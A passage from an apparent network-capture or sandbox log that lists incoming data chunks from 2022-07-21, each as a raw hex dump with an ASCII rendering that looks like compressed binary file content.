e2 e1 6b ce 9e 11 53 de 29 df 95 69 f7 Data Ascii: }5WK;W$MVu+_B,}:k6g]U h]KC76lZAJmn(\F/>*CK;=&4YGw/oqxVMA~_7I7V>]iTCYTV/6}/y/C&w?kS)i
2022-07-21 02:34:44 UTC	1711	IN	Data Raw: be d2 2f 7f e2 5d a6 cd 6a b0 49 1e a5 1f 92 fb d9 ff 00 81 87 de ff 00 66 b9 7b cd 63 c4 37 1a b4 56 97 11 7d a6 fd dd ef b4 ed 6b fe 3d 52 e3 e4 f9 76 44 ff 00 7d bf bc a6 a6 d6 d3 5e f1 86 8b 6d 71 a9 db 47 ab 78 de 18 1a 44 b2 d2 63 85 3c bb 66 7f 97 ce 8f 76 ff 00 97 f4 af 6f 19 83 a1 8d ae eb 52 5c b5 20 bd df 4f cb 53 18 d4 94 7e 2d 8e ef 53 f0 b2 78 1f c1 5e 4e 9b 25 e6 fb 3d db 2c fc cd e9 b3 fd aa ad e1 7d 5e fb c7 36 3a 4f db fe cf 67 e4 4e b2 41 79 71 70 9b d2 1f ba fe 9f 32 fb d6 74 d6 17 92 f8 c2 2d 3e eb 5b b7 d3 d3 f7 53 c9 1c 92 4b 0c d7 7b 93 e7 01 97 86 f9 eb 47 c4 9e 0d 8e ff 00 c5 16 ce fa 6c 97 b1 a7 fa ff 00 32 3f 3b cf 87 fe fa 5a f8 2c b7 10 b0 f8 9e 4a b7 9a 9b bb 5a ea bb 33 a3 96 5f 64 e9 d3 4d d7 b5 6d 06 5b 4d 4e e7 4b fb 5d Data Ascii: /]jIf{c7V}k=RvD}^mqGxDc<fvoR\ OS~-Sx^N%=,}^6:OgNAyqp2t->[SK{Gl2?;Z,JZ3_dMm[MNK]
2022-07-21 02:34:44 UTC	1783	IN	Data Raw: 8a f0 31 59 7d 4a 95 5b 72 b1 ac 6a e8 7e 91 f8 bb c1 ba 6e 8b 7d a7 25 85 95 c7 f6 1e a5 fb bf b4 5b c8 8f f7 7e ef de fb ab 4f b8 bc 83 c1 b1 49 77 e1 ad 22 ce f3 ed b7 4b fe 87 27 fc b0 7e c5 77 7f 4a e3 75 6f 1a 5f 78 93 55 b2 b5 b4 d3 6d e4 d0 34 df 92 db cc f9 3f 83 fc f1 5b 5e 0b d7 ac bc 37 f6 8b fd 7e 4b 8b 8d 9b a3 87 f7 7f 3a 7f c0 6b f0 49 d0 ad 4e 94 79 ef 27 d6 37 f8 bd 4f bc f7 7e cf de 7a c6 8b aa 7f c2 45 0d ce 9b 35 ef d8 b5 c8 53 7e a1 1f df 78 d9 ba 75 fe 1a e2 35 6d 2b 41 d2 b4 9b 1d 43 57 b9 b8 ff 00 84 82 d5 e5 92 c7 f7 9e 73 ef 57 ff 00 58 b1 fb d7 23 af 4f 69 ad f8 c3 fe 12 4b 23 26 95 a6 7c a9 f6 89 24 74 f3 dd 7f be bf 79 96 b7 fc 2d a0 bf 8b af 75 2b 8b 2f 32 ca d2 14 8a 3f ed 0b 98 d1 de ed 1b ef 46 aa df 2a a5 75 60 a8 c3 03 Data Ascii: 1Y}J[rj~n}%[~OIw"K'~wJuo_xUm4?[^7~K:kINy'7O~zE5S~xu5m+ACWsWX#OiK#&\|$ty-u+/2?F*u`
2022-07-21 02:34:44 UTC	1815	IN	Data Raw: bc cf c2 7e 2c ff 00 85 cb 1e 99 75 a8 dc c9 27 88 f4 64 96 37 b7 f3 21 4b 29 ed d7 e6 fd d5 bf 1b 7f da 73 d6 bb 70 b4 e5 57 9f 16 f4 51 be be b7 fb 8c 6a 4b fe 5d c4 e9 fc 33 e1 79 6f 3e dd aa bd 94 9a 8a 3c ce 89 6f 27 c9 f6 48 63 fe 23 fc 2b fe ed 69 a7 84 74 af 10 59 5e e9 b6 f6 f1 c9 aa a2 5b c6 f2 5c 49 b3 cb 9a 64 e3 73 ff 00 79 57 ae 3a 7d da ea 36 c3 67 e1 7f b4 69 57 3f 68 9d 1e 2b a4 fe ce 8f 62 5a 4c c9 f7 be 5f be a9 fc 4b 5c 3d c6 cd 43 fb 27 57 86 e6 ce 3d 72 e9 1e d6 ea de cb e4 de 8a fb b6 98 db f5 ae 18 d6 a9 5e 52 9d ed 6d be 5d fc 8b 94 63 f0 90 78 9b e1 84 3f 6d 93 fb 0e 3f b6 58 5b 79 5e 7d c4 97 8e 96 d6 8f ff 00 2d 17 cc ff 00 eb 57 9a de 7c 2f d2 07 8b 8d ad bc 97 9a 8d a4 c8 de 45 e7 98 89 e5 ed fe 26 ff 00 d9 6b dd 23 d6 35 13 Data Ascii: ~,u'd7!K)spWQjK]3yo><o'Hc#+itY^[\IdsyW:}6giW?h+bZL_K\=C'W=r^Rm]cx?m?X[y^}-W\|/E&k#5
2022-07-21 02:34:44 UTC	1895	IN	Data Raw: bd 49 a5 dc 5a 5b e9 d6 da fd ac 51 dc 25 b3 ca 89 1d ec 89 33 ee 57 fd d6 f5 50 1d 1f da b6 9d 7e 6f 7e 51 d6 fa 6b f7 68 1c a7 9a e9 f2 7f 66 f8 a3 e5 d1 2c ed e4 87 ca f2 63 92 37 47 8e ef 84 de 7f e9 96 de 7d eb d4 34 9b cf ed 2f 10 6a ed aa db 5b e9 c9 64 ed e7 68 fa 8f c8 93 a2 fe ef 74 4e bf 37 fb 55 cd 78 9d b4 eb 8d 16 e3 c5 57 97 1f 68 f0 ee a4 f7 09 6b 1d c7 c9 37 9d 1e cf 35 7d 51 5b f8 55 7d f9 ae 7b c5 9f 12 26 d7 b5 fd 37 5a b5 b7 ff 00 89 ac cf 14 16 b7 1e 5f d9 bc 84 8e 2d 9b 5d 9b ef 7c 95 d9 3a 72 c7 2d 23 67 6b 5f b3 5d 3f ad 8c 65 2f 61 ca 77 1a f6 a3 ab f8 b7 49 b6 bb d5 63 b8 d4 23 b6 85 de e7 cb 8d 36 40 fb 0f 96 9f ed b1 f9 59 85 71 5e 11 9b 47 f0 0d f6 89 77 e2 58 d2 5d 0e 37 77 9b 4f 93 7a 24 09 b3 70 89 bb 6e dd f3 35 77 ba 8f Data Ascii: IZ[Q%3WP~o~Qkhf,c7G}4/j[dhtN7UxWhk75}Q[U}{&7Z_-]\|:r-#gk_]?e/awIc#6@Yq^GwX]7wOz$pn5w
2022-07-21 02:34:44 UTC	1942	IN	Data Raw: a7 e7 ff 00 04 c2 a4 7d 99 85 a3 e8 f6 fa 87 c4 6f 0f e8 7a ae a5 1e 9c f6 cf 2c cf 6f 25 9f dc 89 93 ca 56 62 3e f6 ea ec 35 ef 07 ea 88 65 d3 74 8f 2f 59 9e da f5 1e d7 ec db d1 20 e8 9f 7b fe 59 ec 6d 95 cd c3 e2 cb 66 d7 f4 8b 89 7e cf 1f c9 71 23 de 69 b7 1e 74 d1 bf 4d ad db 6f bd 67 fd b2 1f 88 5f 14 e3 8b 57 b6 fe c6 f0 fc 33 a5 a5 ec 9a 0e a6 f0 fd ae e3 67 df 68 97 e6 dc 3e 52 7f 9d 77 7b 2a d5 a7 19 3d 23 18 dd f5 eb f2 31 a7 cb 2f 77 a9 d3 fc 4a f0 6e 95 a3 f8 3f 52 d4 24 d4 be db af a4 eb f6 ab 8b 7f 92 17 bb 8d f6 fc df dc fe ed 73 36 3a e5 8c 77 b2 78 93 4f d4 b4 ff 00 06 4f 79 34 48 f1 e9 b1 cd e4 ee d9 b7 c9 8c 6d dc fb df ef 56 c7 8e ac 2f 21 f8 79 1f 86 f4 f8 f5 0d 77 4d 9a eb ed 5f da 96 52 7e e6 38 55 fe 5f de e3 e6 f9 b9 6a c2 f0 3e Data Ascii: }oz,o%Vb>5et/Y {Ymf~q#itMog_W3gh>Rw{*=#1/wJn?R$s6:wxOOy4HmV/!ywM_R~8U_j>
2022-07-21 02:34:44 UTC	2022	IN	Data Raw: b8 d3 7f 7e b3 de de 58 c7 bf c8 bb d9 b7 cb e7 f8 7f 8a 8d 17 e1 5f 86 2e 2c 6d ac 13 cc d5 75 2f de f9 fa 8c 92 3b cd f6 86 ce d6 f9 be 5d a5 fd ab c4 c3 e6 8a 33 84 31 35 74 95 93 b5 9a 57 db 5e 86 d2 a5 f6 a3 d0 cd f1 e7 8b 35 58 3c 13 16 a0 d7 d2 5b 48 9f f2 0e b6 d3 64 49 ff 00 d1 b6 20 f3 59 d8 6e dd 52 f8 37 c4 d7 fe 36 d1 6d ae 2e 34 cb 7d 66 d2 77 58 35 4f b3 dc 6c f3 21 5f 95 27 65 fb 9b ff 00 dc 3c d6 1b 78 3b c4 da 95 e4 91 d9 d8 d9 e9 57 56 df 65 7b a8 e4 b8 ff 00 51 fc 3b 70 3f 87 e5 dd 5e 99 a9 2e 9b e1 1b 1d 13 c3 4f a2 49 73 1e a1 3f d8 61 8e db ee 46 8c ff 00 33 75 ca a7 f1 57 81 89 cc 29 7d 66 9d 2c 1c 14 a5 7b 5e f7 d3 bb 36 a7 19 4b de 91 c1 37 81 2f fc 0f 25 f4 1e 0f d2 2f 63 9e 49 f6 49 25 cf d9 d2 d7 4c 46 ff 00 6b 77 dc 3f 7a b7 Data Ascii: ~X_.,mu/;]315tW^5X<[HdI YnR76m.4}fwX5Ol!_'e<x;WVe{Q;p?^.OIs?aF3uW)}f,{^6K7/%/cII%LFkw?z
2022-07-21 02:34:44 UTC	2038	IN	Data Raw: b8 2b 47 0b 42 77 e6 d5 1a 46 55 24 79 f6 bb a4 a5 e4 91 5f d9 5c c9 24 f0 fd ff 00 b6 c9 f2 46 9f c2 b9 fe ed 64 eb 10 ea b7 1e 1c 97 64 9f 3f ca f0 c7 1f cf b3 77 fb 55 eb 91 f8 26 ce eb c4 d1 3c 1f f1 31 d3 b4 d8 1a 4b ab 79 3e e5 dd c3 74 f2 cf fb 3b d3 76 7a d2 6b 7e 18 7b 39 23 d3 e1 b6 fb 45 f4 c9 f6 5f b4 5b ec fb ec 99 e1 7e f7 f0 fd 16 ba e9 e6 34 e3 28 47 77 be bd 08 95 39 1e 5f a2 d8 a7 89 2f 7f e2 a2 96 3b 8b e4 fd c3 c9 24 7b 12 3d dc ff 00 df 41 9b ef 74 ed 5b ff 00 12 34 d4 d3 fe 17 d8 eb b7 ba 47 97 a3 5e 6a 32 da da ea 9f 68 4f 3b e5 ff 00 96 5e 57 f0 2e df 98 9f e2 35 5a fe da e3 41 93 ec 97 76 df 67 fb 4c 2d 04 df bb f3 9d 1e 3f 9b fe 05 f3 77 eb 5c 66 b0 6f 35 2b 6b 2b 4b e8 fc c8 3e 58 3f 81 f7 c4 df f2 d5 73 fc 5b be ef e5 5e a5 24 Data Ascii: +GBwFU$y_\$Fdd?wU&<1Ky>t;vzk~{9#E_[~4(Gw9_/;${=At[4G^j2hO;^W.5ZAvgL-?w\fo5+k+K>X?s[^$
2022-07-21 02:34:44 UTC	2109	IN	Data Raw: e3 8f fb f5 d5 1c b3 09 17 17 c8 b9 bb f6 31 fa d5 69 2e 5e 6d 0e cf 4d f8 97 7f 6d 6f f6 8b fd 4b cb 8f 7f 97 e5 db ef df 1e df 9b cc ff 00 74 b7 de ac ef 10 78 f7 5e d4 a3 db fb bb 8d ff 00 3a 7f 9f 7a e7 34 a4 9a f6 e6 da df 4f b2 b8 b8 b8 9b f7 69 1d b7 ce f2 3b 7b 54 cb 0a 5b 5c 79 4f e6 47 3e ff 00 9f fe 99 bf a5 6d f5 4c 3c 65 cf ec d5 c9 f6 95 39 7e 22 c4 de 3c bc bc b2 8d 2f 64 8e 44 4f 9d 24 93 e4 7f f7 3f dd a8 51 e1 92 49 65 ff 00 59 f2 79 89 e5 fd ca 6d b5 8d b7 db a3 b8 b2 8f f7 f6 af bd 23 8f e7 f3 1f 7f 5e 7f 86 8d 4b ce 6d 4a 5b 8b 89 3c c9 e6 df 24 92 7d c4 7f 33 fb bb 6b a3 92 94 74 a7 a1 9f b4 94 be 21 9e 5f 9d 1c bb fc b9 2e 93 fe 59 f9 94 be 76 eb 78 f7 ff 00 af 7d b4 d9 67 7d 3f 50 d3 6e 9f cb b8 7b 37 5d 91 c9 b3 f8 5f f8 c7 f1 2d Data Ascii: 1i.^mMmoKtx^:z4Oi;{T[\yOG>mL<e9~"</dDO$?QIeYym#^KmJ[<$}3kt!_.Yvx}g}?Pn{7]_-
2022-07-21 02:34:44 UTC	2157	IN	Data Raw: 2a e4 75 8f 86 a9 e4 d9 69 97 b6 52 69 57 70 da ef 48 fc bd ff 00 6b 9a 4f 99 99 ff 00 da 1f 9d 7d 5e 13 88 28 cd 46 5c c9 f7 ff 00 33 ce ad 83 94 4f 9c e1 b3 bc 4b 2b 17 be 96 38 d1 11 e0 b5 92 4f ef c6 ff 00 77 ff 00 1e ad 8d 1e fe f3 ec d6 d1 4b 65 26 a1 61 e7 ff 00 ac 92 34 d9 e7 6c fb bf fd 6c d7 a3 e9 9e 0b f0 ff 00 87 8d b3 78 a2 da 4d 47 ce 4f 3f ec f6 d1 ec 7d 8b 9d ac bf dd 61 fc 63 ef 54 37 5f 0c a6 bc 8e e7 50 b4 bd b7 bc ba fb 6e f4 b7 8e 4d e9 23 aa 6f ff 00 81 d7 b1 3c ca 8d 47 69 6d df a7 c8 e6 8d 19 7c 46 97 86 fc 4f e0 cf 2e 4b 5d 5f 4d f2 e3 99 25 79 a3 8a 4f e3 5f bb fe 7f 86 a9 45 f0 c7 46 f1 15 96 ad 71 3c bf d9 51 a7 9a 90 fe ed dd fe 54 f9 13 fd ad d5 e3 fa a2 6a 56 7a 94 a9 71 14 9f 6b 47 fd f7 ee f6 7f 1f dd ab b7 9e 34 d4 b4 dd Data Ascii: *uiRiWpHkO}^(F\3OK+8OwKe&a4llxMGO?}acT7_PnM#o<Gim\|FO.K]_M%yO_EFq<QTjVzqkG4
2022-07-21 02:34:44 UTC	2197	IN	Data Raw: 9f 12 ea 17 af 75 35 e4 72 3a 79 70 fb 7f 9f 96 9f 0c 7e 16 d6 ed e4 d2 af ae ae 2f 75 6d 4d 3f e3 ca da 3f 92 77 8d f9 f3 ae be e4 71 ff 00 13 77 ab bf 0c 6d 74 ab 3f 1f 78 96 d6 f7 43 b9 d2 a0 d5 ac bf d0 ae 34 4d 57 c9 ba b7 dd f7 e2 1e 6e 55 f7 ff 00 13 56 56 9d e1 5d 23 c3 77 5a dd ee 85 6d 79 27 87 91 da 37 d3 b5 f8 fc 9b a9 26 f2 7f bc ab f3 63 77 dd fb b5 e9 7b 1c 24 3d f5 26 e5 be fa 87 2f c3 ee 9b 70 7c 4a d3 3c 3f 75 f6 7d 16 da ca e3 52 f3 fc bb 5d 3e 2d 3f fd 17 c9 8f fe 5a f5 f9 fd ab 53 e2 26 97 73 a8 68 b6 d6 5a 56 a5 79 ac ea 4e ed 74 f6 f1 c8 9b df cb 4f 32 6f 21 5b ee 6d d9 d0 55 3c 78 9b c1 fa e4 91 69 fa 6c 9a 57 db 74 f8 a3 4d 1e 4b 78 a7 4b f7 d9 ca af 74 cf 7f bb 53 ff 00 c2 b5 d6 2e 35 eb 2f 11 d8 5f 49 e1 ed 46 14 95 ee ac ef 6d Data Ascii: u5r:yp~/umM??wqwmt?xC4MWnUVV]#wZmy'7&cw{$=&/p\|J<?u}R]>-?ZS&shZVyNtO2o![mU<xilWtMKxKtS.5/_IFm
2022-07-21 02:34:44 UTC	2285	IN	Data Raw: d3 4f 8e 49 12 69 bc 9d 9f 2f ee d7 e6 fb dc b3 1a e1 fe 16 e9 d6 36 97 d2 a6 a7 a9 69 ff 00 6e ba 91 3e d5 e5 c9 bf f7 3f f2 d1 51 b9 44 de de f5 eb be 30 f0 e6 84 b7 df 67 be d3 6c f4 e8 20 93 ec 3f bb 8f fd 63 c8 9c 7c c9 f7 9b 6f de af 2f f1 56 ad 75 e2 2f 07 f8 7f 40 96 c6 cf 46 d3 74 68 1e ee d6 48 e3 4d 97 e8 bf 20 90 23 e3 e5 fe 2e 99 af 1b 03 38 b7 53 f7 7c 97 7a df a7 f9 85 4f 77 96 51 d4 eb 6d be df f6 8b 96 b7 f0 b5 9e b5 ae bc 0b 22 47 65 7a 88 f1 a3 3f f1 8f 95 38 ea 53 77 fb d5 17 84 ec 7c c8 e4 bb d5 7c 49 1e b3 69 73 75 2b ea 3a 8c 9b 36 5a 3a ff 00 ac 8a 28 f3 88 d5 7e ee e1 5c a5 b6 9f 6d a6 f8 36 5b 7b df 10 6b b6 f7 57 88 8e 96 76 37 1e 4f 99 37 f7 a5 f9 7e e2 2f fd f5 5d 25 c7 c3 98 ec 6f 25 bc d1 e5 f0 f4 96 9a 1c d1 3f f6 8f d9 ff Data Ascii: OIi/6in>?QD0gl ?c\|o/Vu/@FthHM #.8S\|zOwQm"Gez?8Sw\|\|Iisu+:6Z:(~\m6[{kWv7O7~/]%o%?
2022-07-21 02:34:44 UTC	2348	IN	Data Raw: 52 ab 2e 69 42 cd 74 d7 a1 94 aa 7c 32 3a 6f 00 f8 9b c4 1a bf 87 fc 47 aa 68 b7 37 ba 77 82 b4 f4 d9 6b 26 ad 6e 93 5d 49 71 fd c8 7e 9e f5 53 e1 ff 00 85 9d fe dd ae f8 8a e6 cf 55 9f 5a 9e 29 12 e2 de df fd 2a 77 85 ff 00 f1 d5 4a 76 a1 ab 78 3f 4e f8 6b e1 ff 00 0b 59 49 fd ab 71 e4 79 89 6f 6d 23 bf 97 33 27 fa c6 db fc eb cc fe 15 db f8 a1 23 b7 d3 75 0d 72 38 ed 34 0b d9 60 86 cf 49 93 cf 9f 7a a1 92 5f f7 1b fd ea 2b 61 2b 63 e1 52 a6 0e 97 b2 6a c9 df 4e 6f 4f 43 1f 68 a9 cb de d4 f7 2f 17 78 7f c3 9e 1b d5 6c 75 0b ad 3b ed 26 64 f2 d2 df fe 5b 49 f3 ef 47 fc 2b 8b 5f 16 df de 69 b2 db ea b7 36 f6 49 74 8e 96 5f 69 93 fd 26 ef 73 ff 00 13 71 f2 8a cf 92 f3 48 f1 c7 85 ff 00 b5 75 f8 b5 1d 47 f7 12 cf 3d c5 b6 a0 90 bc 09 bf f8 b2 73 f2 ff 00 76 Data Ascii: R.iBt\|2:oGh7wk&n]Iq~SUZ)*wJvx?NkYIqyom#3'#ur84`Iz_+a+cRjNoOCh/xlu;&d[IG+_i6It_i&sqHuG=sv
2022-07-21 02:34:44 UTC	2364	IN	Data Raw: dd 4b 3a 7d 8a 4d e9 69 db cb fe ee df 4a d0 92 dd 2d 84 89 77 14 92 47 67 72 97 56 b1 ea 51 bc 29 fb df be b9 c7 cd ba b6 f4 ab 6b 3d 36 f7 c2 cf a5 dc c9 25 ae a1 33 a4 f1 c9 1e f8 60 48 d3 73 af 4f 9b ff 00 65 a3 da 42 9d 3e 58 c7 bf e5 70 94 64 79 9c 3e 1b f1 0c 31 49 71 2c 5f f1 2e 49 37 f9 9f 7d e3 eb fe ad be f7 0b f7 b1 59 17 9e 05 9b 44 d1 6c af ee 24 93 cf bc 4f f4 59 23 8d fc 99 13 f8 f7 bf 55 f7 e2 bd ce 3f 13 ff 00 68 f8 8a f7 c3 77 96 de 5d 8d e5 ae f4 8e da e3 c9 9a f9 e3 fb 8d 27 6d bf ec fc ad 5e 65 27 8e 34 df 15 47 2e a3 7f 6d 25 c6 ab e7 6c f2 ec e3 4f 92 15 7c 7d dc ff 00 0a ae 3f ef aa ef c3 62 f1 53 d5 c2 cb 4d bc f6 ff 00 82 63 2a 71 fe 62 b4 3a 4c f7 51 6a 40 58 c7 22 7f 67 c5 3f fa cd fe 5d ba fd ef 41 fe 76 d5 4d 2f c2 ba c6 8f Data Ascii: K:}MiJ-wGgrVQ)k=6%3`HsOeB>Xpdy>1Iq,_.I7}YDl$OY#U?hw]'m^e'4G.m%lO\|}?bSMc*qb:LQj@X"g?]AvM/
2022-07-21 02:34:44 UTC	2372	IN	Data Raw: 36 a1 e5 a5 9c 92 7e e6 04 8d 32 bf ee e6 bd 83 e1 9d e5 ce a5 e1 3b 9b ab 8b 69 2c ff 00 b3 ee b7 de ff 00 a4 3c cf 7f 70 bf f2 d6 33 cf de ff 00 57 d6 b8 bd 36 41 a4 6b 91 fd a2 ca 4d 46 34 ba 58 e6 d1 f5 eb c4 83 63 cf bd 5f 6c bf ea d7 6f cb 86 7a ea c2 4d d1 ad 5e 10 5f 2b fe b7 fc ff 00 03 8e 51 8c b9 7b 8d d0 f5 bb 6d 3a c7 c6 57 0d a6 c7 7b 7d aa 42 bb 23 8e df f7 31 ed 7f dd f9 3d fe f5 59 f0 1f 89 a6 fe cd f1 4b c1 73 a7 e8 33 d9 fd 9d 1f 4f f3 3f 7d 76 ff 00 c6 90 ff 00 71 c3 37 35 17 87 75 2b 0f 06 d9 6a d7 5a 9c ba 86 9c 6c dd 74 eb 2b 3b dd 89 37 93 1f df 8f 6a 7c bf c7 c3 67 e7 a9 fe d9 a3 e8 31 e8 17 7a e6 9b 6f e2 1d 26 e9 e5 49 af 2d be 49 a4 87 fe 59 4d 9f f9 66 c7 d0 d6 b5 21 19 3a 91 71 6e ed 59 f7 b2 e9 d3 64 6d cd fc dd 0a 1e 0f b1 Data Ascii: 6~2;i,<p3W6AkMF4Xc_lozM^_+Q{m:W{}B#1=YKs3O?}vq75u+jZlt+;7j\|g1zo&I-IYMf!:qnYdm
2022-07-21 02:34:44 UTC	2435	IN	Data Raw: 83 3b 60 ed b5 b7 f5 93 bd 3a 91 f6 b2 53 a9 0b be bd b4 bf f9 7e 1f 76 3c dc b1 f7 48 64 b3 d4 b4 5f 1d 79 d7 12 7f 68 dd 5a bf 99 e6 49 fe 93 f6 44 6f 97 6c d2 2e 3f bb de ba e9 75 87 bc fb 69 f0 c4 92 69 5e 23 fe c8 7b e9 ec f3 b3 e4 8d ce e6 8b b3 b3 ed ff 00 56 6b 95 f0 bf 87 cf c3 9d 16 da fe ea 3b 33 a3 6b ee ff 00 da 76 57 12 3e cd ed bd 7c a3 72 3e 76 64 fb cb 85 6f bd d6 bb 2f 01 c3 a4 5a d9 6b 7a 95 df da 2d a3 d3 ec 99 e7 b3 8e e3 7d e4 fa 72 fc fb 63 91 7e f3 6e 6d df 37 fd f5 5c 98 a5 49 49 4d fb c9 69 a7 5f 2b 7a ff 00 c3 9d 94 63 29 47 d4 c0 d1 75 ed 12 68 ae 34 5d 66 d7 fb 77 56 79 da 77 92 cb e4 86 0d c8 9f b8 56 fe 29 4b 7f e8 3c 57 5b a1 4b 61 a9 78 2f ca d6 ec 75 09 7e d9 a7 bf f6 74 7f 73 52 49 97 ef 37 3f f2 cf eb 5c 0f 85 7c 4f fd Data Ascii: ;`:S~v<Hd_yhZIDol.?uii^#{Vk;3kvW>\|r>vdo/Zkz-}rc~nm7\IIMi_+zc)Guh4]fwVywV)K<W[Kax/u~tsRI7?\\|O
2022-07-21 02:34:44 UTC	2515	IN	Data Raw: c2 ed db cf 5a da f0 1a fd 9a e3 5c d1 ee af 63 92 e2 64 6d 3a 1b 39 23 df 67 bd 9f 79 e9 b8 b2 6d fe 2c d6 45 c7 84 53 fe 12 0b 9f b3 e9 3f db 37 d6 b7 49 03 c9 71 b1 3e d7 14 7f 2c 90 ee fb f1 5b 8e ce 6b 92 f1 e7 9d 2a 91 b2 4a df 3e 8c a9 46 52 e5 e5 eb b9 97 37 89 a6 d1 fe ce f7 f2 5c 78 77 59 48 d7 ec b2 59 5c 3f fa 77 f7 22 ff 00 69 7d 5a ba eb e9 99 7c 23 6d 12 c7 27 f6 e4 d6 4d 3f f6 a5 b7 fc 7b 5a 7c 9f b9 81 db ab ef 6f 97 e4 ac 2f 07 69 a3 c6 de 3a d4 b4 ad 5f 57 8f ec b6 6e f1 cf 1d b4 69 36 cf bf 88 20 9f 19 7c 26 cf 9e 97 58 f0 4d b7 86 ed ec 74 5f 14 f8 82 e3 4e f0 de c9 5e d7 54 b7 f9 fc cd af ba 31 26 df f9 69 bf d6 b2 9b a3 4e ac 68 cb e3 5a da cd e9 e5 df d0 ba 71 97 2f c5 a1 e5 5e 22 f0 6c ba c6 b5 2d d5 ec 51 e9 fa c3 c1 e7 ea 1f 7f Data Ascii: Z\cdm:9#gym,ES?7Iq>,[k*J>FR7\xwYHY\?w"i}Z\|#m'M?{Z\|o/i:_Wni6 \|&XMt_N^T1&iNhZq/^"l-Q
2022-07-21 02:34:44 UTC	2564	IN	Data Raw: 6f 73 6f a0 d8 de c8 f7 7f 62 fb 3e cf 3e 69 1f 62 01 27 f1 47 b7 a7 bd 72 fa 97 c3 8d 56 df 5e f1 04 56 51 c9 7b 77 a8 5d 23 da ff 00 1c 32 5b 46 ff 00 34 a9 b3 ee 36 df 95 96 bb eb fb 7b cd 2b 56 97 50 d4 ae 7f b6 ad f5 07 fb 24 11 e9 bf 3d ad a2 2a 6e 5d ff 00 dd 70 df 76 b9 df 1f 6b 4b a7 69 36 d7 ba 3c b7 9a 52 69 f3 ad ab e9 d2 e9 f3 40 92 4b 36 3a c9 fc 35 94 31 58 8a 38 d7 57 11 04 a7 34 96 9f 67 b0 b9 63 cb ee 9d 3a 5e 69 ba ae 81 fd 9f e1 a9 23 f2 13 f7 09 f6 9d 90 fd 92 18 7e 56 c6 ef 9b 69 ff 00 66 b1 2f f4 1b 7d 57 55 8f c3 71 7d a2 cf fb 5a 15 74 b8 cf 9d 6c 96 eb fe b3 67 fc f3 66 a9 3c 2b ae eb 17 1a b5 b7 f6 ae 89 e6 5a fd 97 cb 82 f3 cb 48 5f e5 7f 9b ef 7d ea a3 7b ae 3d e5 f6 98 fa d5 f4 76 50 4c f2 f9 16 56 31 f9 f7 b2 42 af b9 17 fb Data Ascii: osob>>ib'GrV^VQ{w]#2[F46{+VP$=*n]pvkKi6<Ri@K6:51X8W4gc:^i#~Vif/}WUq}Ztlgf<+ZH_}{=vPLV1B
2022-07-21 02:34:44 UTC	2611	IN	Data Raw: 75 2d 3f 59 bb 7b 56 4b ab 7b 2f bf e7 6f db e6 6c fe 2d b5 e9 3a 0c 93 4d ff 00 13 2d 6a 28 c4 89 0a c1 e6 7d ff 00 9f fb c8 bf c1 ba ab 78 82 3d 37 c2 32 47 75 e6 5c 69 d6 97 2f b3 cc b6 8f ef bf f7 38 f9 b6 9a fa 6c 16 3e 31 b6 59 5a 3c 89 bd 6c b4 67 34 a3 ef 73 1a fa 1c 36 97 96 f7 3b ae 7e d9 23 fe ee 4f de 6c 78 3f e9 9b 8f ef 7b 54 56 97 30 a6 93 7b 15 bd b7 99 04 1b a0 f2 fe e7 ce a9 ff 00 8f 62 97 5e b8 bc 8b 4d b9 fe cf 8a 3b 29 e6 45 ff 00 48 93 e4 ff 00 2f 59 da 4d 8e 9d e1 9b 3b 55 bd fb 44 73 a2 7c 92 5c dc 7c fb 9b aa 33 7f 76 bc fa b4 70 ff 00 58 95 3a 55 53 83 b2 49 79 77 ee 74 c7 e1 f7 8e 57 5e 8f 4a f8 7f 7d f6 bd 22 f6 e2 f7 c4 97 56 bf b8 8e e6 f1 1f 7c 3c 19 36 ee fe 1d b5 57 4d f1 e5 ff 00 88 64 d1 3c 9f 0b 4b 71 69 35 d3 fe f2 e2 Data Ascii: u-?Y{VK{/ol-:M-j(}x=72Gu\i/8l>1YZ<lg4s6;~#Olx?{TV0{b^M;)EH/YM;UDs\|\\|3vpX:USIywtW^J}"V\|<6WMd<Kqi5
2022-07-21 02:34:44 UTC	2714	IN	Data Raw: 79 3e e7 dd be 6f ef 7c fd 28 f0 bf 86 5c 5b c7 15 de ad 71 6f 06 a1 ff 00 1f 52 59 5c 6f 77 8a 3f 99 f7 a1 fe 1a db d3 7e 1f 58 eb 1e 23 b9 bd 7f 2e f6 c1 36 26 a1 25 b7 dc f2 63 c7 df 51 8f 2f 3f 2d 7d 14 ea d0 a7 75 2d 96 d6 5f 91 cf fb cf bc c6 d6 3c 79 ac 5c c9 f6 f9 44 7e 7c 2e b2 4f 27 97 fb 99 d3 fe 59 ff 00 9f ef 55 cf 0e d8 cf 71 a2 6b 6f 7e 23 b3 b1 b9 9d 51 ef 23 8f 63 c7 70 bf ea fc bd bf de ef 8a f6 5f f8 45 fe c7 f1 0f ec 5a 46 9d 6f 71 e4 fd 9d ed 63 b2 92 2f df c5 b3 61 f2 b7 fc b2 ec f9 b2 95 63 c0 fe 18 4d 36 ca 5d 03 4a bd 8f 50 ba d3 de 59 df 50 b6 fd ca 46 fb dc ba 7f d3 4c 7c 99 db 5e 0d 4c d2 95 3a 37 a7 0b 6c fe 5f d7 f5 a1 d1 1a 32 97 c4 72 9e 15 f0 7c da 46 93 63 6e f2 c7 e7 de ed 82 f7 50 f3 3c e4 f3 95 c4 9f 3b 7f 77 65 74 da Data Ascii: y>o\|(\[qoRY\ow?~X#.6&%cQ/?-}u-_<y\D~\|.O'YUqko~#Q#cp_EZFoqc/acM6]JPYPFL\|^L:7l_2r\|FcnP<;wet
2022-07-21 02:34:44 UTC	2730	IN	Data Raw: 4f bc 7b 6d f9 6b 8c f1 27 c5 4f 0d f8 86 e3 c3 f1 59 49 71 16 a5 67 6a de 7e a9 fb ef df cd b3 ef 2a fb 3f f1 7d da 8b c2 7e 3c 3e 0b d7 ef 6d ad 64 fe d5 b1 d4 d2 5b a7 b7 f2 fe d3 34 ef b3 ef 79 9f c6 c1 bf e5 9d 61 4f 0b 8c 54 f5 f8 ac f4 6b a6 cf 5e fd 6e 3f 69 1e 6e 63 d0 be 21 78 2a c2 6d 5a c6 6d 16 da df c2 da 73 da db f9 32 5b fd f9 2e 1b 6e e5 5e 9b 97 6b 7d de 95 ce fc 45 f1 94 3e 1f f1 15 ee 83 e1 8d 02 cd 37 c3 f2 6a 9f 63 d9 3b b4 88 23 8d 3f ba ad f7 bf a5 6d 78 46 e7 c3 fe 30 d1 6d ad 6e bf d2 0a 48 d3 ea 12 47 22 43 fb af e0 89 59 be 54 6f bb 8a f2 4f 10 78 4f 5e ff 00 84 a7 52 59 75 6b c8 e6 